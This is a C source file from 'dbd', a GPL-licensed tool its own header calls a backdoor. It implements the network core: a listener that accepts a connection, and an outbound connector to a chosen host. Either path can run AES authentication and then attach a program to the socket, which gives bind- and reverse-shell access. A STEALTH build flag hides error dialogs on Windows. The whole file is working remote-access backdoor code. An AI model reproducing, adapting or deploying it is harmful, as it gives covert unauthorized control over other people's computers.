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socket_code.h
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socket_code.h
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/*
* dbd - durandal's backdoor
* Copyright (C) 2013 Kyle Barnthouse <[email protected]>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the Free
* Software Foundation; either version 2 of the License, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc., 59
* Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
* See the COPYING file for more information.
*/
/*
* dbd_listen() handles inbound connections
*/
int dbd_listen(int lport, char *bindToAddress) {
#ifdef WIN32
WORD wVersionRequested;
WSADATA wsaData;
SOCKET sd;
SOCKET clisd;
float socklib_ver;
#else
int sd;
int clisd;
#endif
int clilen;
int sopt;
struct sockaddr_in dbdAddr;
struct sockaddr_in cliAddr;
#ifdef WIN32
wVersionRequested = MAKEWORD(1,1);
if (WSAStartup(wVersionRequested, &wsaData)) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "WSAStartup: %s\n", WSAstrerror(WSAGetLastError()));
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox("WSAStartup", WSAGetLastError());
#endif
#endif
return 1;
}
/* check if winsock DLL supports 1.1 (or higher) */
socklib_ver = HIBYTE(wsaData.wVersion) / 10.0;
socklib_ver += LOBYTE(wsaData.wVersion);
if (socklib_ver < 1.1) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "socket library must support 1.1 or higher\n");
#else
#ifndef STEALTH
if (!quiet)
errbox("socket library must support 1.1 or higher");
#endif
#endif
WSACleanup();
return 1;
}
#endif
/* create socket */
#ifdef WIN32
if ((sd = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
#else
if ((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
#endif
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "socket(): %s\n",
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
strerror(errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox("socket()", WSAGetLastError());
#endif
#endif
#ifdef WIN32
WSACleanup();
#endif
return 1;
}
/* create dbdAddr for bind() */
dbdAddr.sin_family = AF_INET;
/* dbdAddr.sin_addr.s_addr = htonl(INADDR_ANY); */
/* we don't bind to INADDR_ANY if the -a option was specified */
if (!bindToAddress) {
/* but if -a wasn't given, we have to... */
dbdAddr.sin_addr.s_addr = htonl(INADDR_ANY);
} else {
struct hostent *he_bta = NULL;
if (!(he_bta = gethostbyname(bindToAddress))) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "failed to resolve %s: %s\n", bindToAddress,
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
hstrerror(h_errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox(bindToAddress, WSAGetLastError());
#endif
#endif
#ifdef WIN32
WSACleanup();
#endif
return 2;
}
dbdAddr.sin_family = he_bta->h_addrtype;
memcpy(&(dbdAddr.sin_addr), he_bta->h_addr, he_bta->h_length);
}
dbdAddr.sin_port = htons(lport);
/* set REUSEADDR socket option */
sopt = 1;
#ifdef WIN32
if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char*)&sopt, sizeof(sopt))) {
#else
if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (void*)&sopt, sizeof(sopt))) {
#endif
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "setsockopt() REUSEADDR: %s\n",
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
strerror(errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox("setsockopt() REUSEADDR", WSAGetLastError());
#endif
#endif
#ifdef WIN32
closesocket(sd);
WSACleanup();
#else
close(sd);
#endif
return 1;
}
/* call bind() */
if (bind(sd, (struct sockaddr*) &dbdAddr, sizeof(dbdAddr))) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "bind(): %s\n",
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
strerror(errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox("bind()", WSAGetLastError());
#endif
#endif
#ifdef WIN32
closesocket(sd);
WSACleanup();
#else
close(sd);
#endif
return 1;
}
/* listen for incoming connection */
if (listen(sd, 1)) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "listen(): %s\n",
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
strerror(errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox("listen()", WSAGetLastError());
#endif
#endif
#ifdef WIN32
closesocket(sd);
WSACleanup();
#else
close(sd);
#endif
return 1;
}
if (verbose) {
char tempbuf[128];
tempbuf[0] = 0;
snprintf(tempbuf, sizeof(tempbuf)-1, "listening on ");
if (bindToAddress) {
snprintf(&tempbuf[strlen(tempbuf)], sizeof(tempbuf)-strlen(tempbuf),
"address %s, port %u", inet_ntoa(dbdAddr.sin_addr), (unsigned int)lport);
} else {
snprintf(&tempbuf[strlen(tempbuf)], sizeof(tempbuf)-strlen(tempbuf),
"port %u", (unsigned int)lport);
}
fprintf(stderr, "%s\n", tempbuf);
}
/* accept connection, this will block */
clilen = sizeof(cliAddr);
#ifdef WIN32
if ((clisd = accept(sd, (struct sockaddr*) &cliAddr, &clilen)) == INVALID_SOCKET) {
#else
if ((clisd = accept(sd, (struct sockaddr*) &cliAddr, &clilen)) < 0) {
#endif
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "accept(): %s\n",
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
strerror(errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox("accept()", WSAGetLastError());
#endif
#endif
#ifdef WIN32
closesocket(sd);
WSACleanup();
#else
close(sd);
#endif
return 1;
}
/* close listening socket, we won't need it */
#ifdef WIN32
closesocket(sd);
#else
close(sd);
#endif
if (verbose) {
struct sockaddr_in gsnAddr;
int gsnlen = sizeof(struct sockaddr_in);
struct hostent *gsnhe;
char toaddr_unknown[] = "??";
char fromhost_unknown[] = "n/a";
char *toaddr = NULL;
char *fromhost = NULL;
if (getsockname(clisd, (struct sockaddr*) &gsnAddr, &gsnlen)) {
/* handle error */
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "getsockname(): %s\n",
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
strerror(errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox("getsockname()", WSAGetLastError());
#endif
#endif
} else {
/* ok */
toaddr = strdup(inet_ntoa(gsnAddr.sin_addr));
}
if (!toaddr) {
toaddr = toaddr_unknown;
}
if (use_dns) {
if (!(gsnhe = gethostbyaddr((unsigned char *)&cliAddr.sin_addr.s_addr,
sizeof(cliAddr.sin_addr.s_addr), AF_INET))) {
/* handle error */
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "reverse lookup of %s failed: %s\n",
inet_ntoa(cliAddr.sin_addr),
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
hstrerror(h_errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox(inet_ntoa(dbdAddr.sin_addr), WSAGetLastError());
#endif
#endif
fromhost = fromhost_unknown;
} else {
/* ok */
fromhost = (char *)gsnhe->h_name;
}
} else {
fromhost = fromhost_unknown;
}
fprintf(stderr, "connect to %s:%u from %s:%u (%s)\n",
toaddr, (unsigned int)lport, inet_ntoa(cliAddr.sin_addr),
ntohs(cliAddr.sin_port), fromhost);
}
/* if we're using AES-128 encryption, initialize the server part */
if (use_encryption) {
if (pel_server_init(clisd, aes_secret) != PEL_SUCCESS) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "authentication failed (aes-cbc-128)\n");
#else
#ifndef STEALTH
if (!quiet)
errbox("authentication failed (aes-cbc-128)");
#endif
#endif
#ifdef WIN32
closesocket(clisd);
WSACleanup();
#else
close(clisd);
#endif
return 2;
}
}
/* if there's a program to execute, we do just that */
#ifndef WIN32
/* ignore "Broken pipe" */
signal(SIGPIPE, SIG_IGN);
#endif
if (program_to_execute) {
if (verbose && program_to_execute) {
fprintf(stderr, "executing: %s\n", program_to_execute);
}
doexec(clisd);
/* doexec closes the socket when done */
#ifndef WINMAIN
if (verbose) {
fprintf(stderr, "connection closed\n");
}
#endif
} else {
readwrite(clisd);
#ifdef WIN32
closesocket(clisd);
#else
close(clisd);
#endif
}
#ifndef WIN32
/* restore default OS behaviour
("Broken pipe" messages at least under Linux and *BSD)
*/
signal(SIGPIPE, SIG_DFL);
#endif
#ifdef WIN32
WSACleanup();
#endif
return 0;
}
/*
* dbd_connect() handles outbound connections
*/
int dbd_connect(char *chost, int cport, int mysport, char *bindToAddress) {
#ifdef WIN32
WORD wVersionRequested;
WSADATA wsaData;
SOCKET sd;
float socklib_ver;
#else
int sd;
#endif
int sopt;
struct hostent *he = NULL;
struct sockaddr_in dbdAddr;
struct sockaddr_in bindAddr;
char *arpa_host = NULL;
#ifdef WIN32
wVersionRequested = MAKEWORD(1,1);
if (WSAStartup(wVersionRequested, &wsaData)) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "WSAStartup: %s\n", WSAstrerror(WSAGetLastError()));
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox("WSAStartup", WSAGetLastError());
#endif
#endif
return 1;
}
/* check if winsock DLL supports 1.1 (or higher) */
socklib_ver = HIBYTE(wsaData.wVersion) / 10.0;
socklib_ver += LOBYTE(wsaData.wVersion);
if (socklib_ver < 1.1) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "socket library must support 1.1 or higher\n");
#else
#ifndef STEALTH
if (!quiet)
errbox("socket library must support 1.1 or higher");
#endif
#endif
WSACleanup();
return 1;
}
#endif
/* resolve hostname */
/* fist check if it's an ip address or a hostname */
dbdAddr.sin_addr.s_addr = inet_addr(chost);
if (dbdAddr.sin_addr.s_addr == INADDR_NONE) {
/* it seems to be a hostname */
if (!use_dns) {
fprintf(stderr, "warning: resolving \"%s\" even though you specified -n\n", chost);
}
if (!(he = gethostbyname(chost))) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "failed to resolve %s: %s\n", chost,
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
hstrerror(h_errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox(chost, WSAGetLastError());
#endif
#endif
#ifdef WIN32
WSACleanup();
#endif
return 2;
}
/* create dbdAaddr */
dbdAddr.sin_family = he->h_addrtype;
memcpy(&(dbdAddr.sin_addr), he->h_addr, he->h_length);
if (verbose) { /* in addition, do reverse lookup of ip */
if (use_dns) {
if (!(he = gethostbyaddr((unsigned char *)&dbdAddr.sin_addr.s_addr,
sizeof(dbdAddr.sin_addr.s_addr), AF_INET))) {
/* handle error */
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "reverse lookup of %s failed: %s\n",
inet_ntoa(dbdAddr.sin_addr),
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
hstrerror(h_errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox(inet_ntoa(dbdAddr.sin_addr), WSAGetLastError());
#endif
#endif
arpa_host = chost;
} else {
/* ok */
if (!(arpa_host = strdup((const char *)he->h_name))) {
arpa_host = chost;
}
}
} else {
arpa_host = chost;
}
}
} else {
/* else it seems to be an ip address */
/* create dbdAaddr */
dbdAddr.sin_family = AF_INET;
/* dbdAddr.sin_addr.s_addr has already been filled in above */
if (verbose) { /* do reverse lookup */
if (use_dns) {
if (!(he = gethostbyaddr((unsigned char *)&dbdAddr.sin_addr.s_addr,
sizeof(dbdAddr.sin_addr.s_addr), AF_INET))) {
/* handle error */
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "reverse lookup of %s failed: %s\n",
inet_ntoa(dbdAddr.sin_addr),
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
hstrerror(h_errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox(inet_ntoa(dbdAddr.sin_addr), WSAGetLastError());
#endif
#endif
arpa_host = chost;
} else {
/* ok */
if (!(arpa_host = strdup((const char *)he->h_name))) {
arpa_host = chost;
}
}
} else {
arpa_host = chost;
}
}
}
dbdAddr.sin_port = htons(cport);
/* create socket */
#ifdef WIN32
if ((sd = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
#else
if ((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
#endif
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "socket(): %s\n",
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
strerror(errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox("socket()", WSAGetLastError());
#endif
#endif
#ifdef WIN32
WSACleanup();
#endif
return 1;
}
/* if -a was specified, bind to a specific address */
if (bindToAddress) {
/* we don't bind to INADDR_ANY if the -a option was specified */
struct hostent *he_bta = NULL;
if (!(he_bta = gethostbyname(bindToAddress))) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "failed to resolve %s: %s\n", bindToAddress,
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
hstrerror(h_errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox(bindToAddress, WSAGetLastError());
#endif
#endif
#ifdef WIN32
WSACleanup();
#endif
return 2;
}
bindAddr.sin_family = he_bta->h_addrtype;
memcpy(&(bindAddr.sin_addr), he_bta->h_addr, he_bta->h_length);
} else {
/* but if -a wasn't given, we have to set it to INADDR_ANY... */
bindAddr.sin_addr.s_addr = htonl(INADDR_ANY);
}
/* default port */
bindAddr.sin_port = htons(0);
/* if sport is > 0 && <= 65535, attempt to bind() to sport */
if ((mysport) && (mysport <= 65535)) {
bindAddr.sin_family = AF_INET;
bindAddr.sin_port = htons(mysport);
/* set REUSEADDR socket option */
sopt = 1;
#ifdef WIN32
if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char*)&sopt, sizeof(sopt))) {
#else
if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (void*)&sopt, sizeof(sopt))) {
#endif
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "setsockopt() REUSEADDR: %s\n",
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
strerror(errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox("setsockopt() REUSEADDR", WSAGetLastError());
#endif
#endif
#ifdef WIN32
closesocket(sd);
WSACleanup();
#else
close(sd);
#endif
return 2;
}
}
/* don't bind unless source port and/or address was given */
if ((bindToAddress) || ((mysport) && (mysport <= 65535))) {
/* bind to custom address and/or source port */
if (bind(sd, (struct sockaddr*) &bindAddr, sizeof(bindAddr))) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "bind(): %s\n",
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
strerror(errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox("bind()", WSAGetLastError());
#endif
#endif
#ifdef WIN32
closesocket(sd);
WSACleanup();
#else
close(sd);
#endif
return 2;
}
}
if (verbose) {
char tempbuf[256];
char *ascii_ip = strdup(inet_ntoa(dbdAddr.sin_addr));
tempbuf[0] = 0;
if ((!strcasecmp(chost, arpa_host))) {
/* if chost == arpa_host no need to parse in arpa_host */
snprintf(tempbuf, sizeof(tempbuf)-1, "connecting to %s [%s] on port %u",
chost, ascii_ip,
(unsigned int)cport);
} else {
/* chost != arpa_host, parse in both */
snprintf(tempbuf, sizeof(tempbuf)-1, "connecting to %s (%s) [%s] on port %u",
chost, arpa_host, ascii_ip,
(unsigned int)cport);
}
if (bindToAddress) {
snprintf(&tempbuf[strlen(tempbuf)], sizeof(tempbuf)-strlen(tempbuf),
" from %s", inet_ntoa(bindAddr.sin_addr));
if (mysport) {
snprintf(&tempbuf[strlen(tempbuf)], sizeof(tempbuf)-strlen(tempbuf),
":%u", (unsigned int)mysport);
}
} else {
if (mysport) {
snprintf(&tempbuf[strlen(tempbuf)], sizeof(tempbuf)-strlen(tempbuf),
" (from source port %u)", (unsigned int)mysport);
}
}
fprintf(stderr, "%s\n", tempbuf);
free(ascii_ip);
}
/* connect */
if (connect(sd, (struct sockaddr*)&dbdAddr, sizeof(dbdAddr))) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "connect(): %s\n",
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
strerror(errno)
#endif
);
#else
#ifndef STEALTH
if ((!quiet) && (!respawn_enabled))
wsaerrbox("connect()", WSAGetLastError());
#endif
#endif
#ifdef WIN32
closesocket(sd);
WSACleanup();
#else
close(sd);
#endif
return 2;
}
if (verbose) {
fprintf(stderr, "connected to %s:%u\n",
inet_ntoa(dbdAddr.sin_addr),
(unsigned int)cport);
}
/* we've got a connection */
/* if we're using AES-128 encryption, initialize the client part */
if (use_encryption) {
if (pel_client_init(sd, aes_secret) != PEL_SUCCESS) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "authentication failed (aes-cbc-128)\n");
#else
#ifndef STEALTH
if (!quiet)
errbox("authentication failed (aes-cbc-128)");
#endif
#endif
#ifdef WIN32
closesocket(sd);
WSACleanup();
#else
close(sd);
#endif
return 2;
}
}
/* if there's a program to execute, we do just that */
if (program_to_execute) {
doexec(sd);
/* doexec closes the socket when done */
#ifndef WINMAIN
if (verbose) {
fprintf(stderr, "connection closed\n");
}
#endif
} else {
readwrite(sd);
#ifdef WIN32
closesocket(sd);
#else
close(sd);
#endif
}
#ifdef WIN32
WSACleanup();
#endif
return 0;
}